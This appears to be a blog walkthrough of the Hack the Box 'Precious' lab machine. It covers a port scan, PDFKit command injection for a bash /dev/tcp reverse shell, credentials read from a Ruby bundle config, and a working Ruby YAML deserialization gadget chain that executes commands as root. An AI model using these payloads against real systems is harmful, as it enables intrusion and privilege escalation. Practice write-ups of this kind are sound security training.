May 20, 2023

Hack the Box - Precious

Posted on May 20, 2023  •  3 minutes  • 573 words

Today we are doing the Hack the Box machine Precious. This machine is listed as an Easy machine.

We start by doing a basic rustscan of the system -

22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    syn-ack nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Now we take a look at what’s going on for the webservice. We are greeted with a page that says we can convert a web page to a PDF.

So we point it at itself, but doesn’t seem to be able to read it. So we host our own web server via python3 -m http.server 80 and sure enough, it can convert that to a PDF. Trying a few more things but none seem to really get us anywhere in terms of extract information from the server itself. Next we run strings on the file and determine its made by PDFKit 0.8.6. Google shows an exploit and quite a few PoC’s - (see)[].

So now that we can see a method for creating a reverse shell, we do just that. We craft a webpage with a shell on it. Trying multiple shells the one that eventually worked was this query:`bash -c "bash -i >& /dev/tcp/ 0>&1"`

I wasn’t able to catch any python shells back and the ruby shells kept terminating unexpectedly - so if anyone out there knows why, let me know!

We set up our netcat listener and run the command.

Once we’re on the box, we transfer over and let that do some enumeration. While that runs, we can manually enumerate a bit. We end up finding a file called config in the ~/.bundle directory. Reading the contents of this file gives us credentials.

We try these credentials for SSH and sure enough, they work! We are able to login as henry and get our user.txt flag!

Now with the first flag down, we start to enumerate again. We run our standard sudo -l and see that we do have access to a file we can run.

We are able to run update_dependencies.rb as root. So, we inspect this file.

As we review this code, we see somethign that sticks out immediatly. A YAML file that is being read incorrectly. The application is using YAML.load which is unsafe. So, reminding myself that this is Ruby and not Python, do a quick check on Yaml Deserialization for Ruby. Turns out this is indeed a thing and multple sources of it as well!

Now, reading through these research documents we have an idea of what we need to do. We’ll create a dependencies.yml file with our malicious code within.

- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: cat /root/root.txt
         method_id: :resolve

Next we simply run the update_dependencies.rb file.

There we are, the root flag!. After that, modifying the code to do whatever you want is easy. So, I re-ran the exploit again, but this time simply asking for a root shell. To do this, simply modify the git_set in the dependencies.yml file to as for /bin/bash. Poof. Root shell!

Another machine down. See ya’ll next time!

Follow me

I hack things and tweet about things...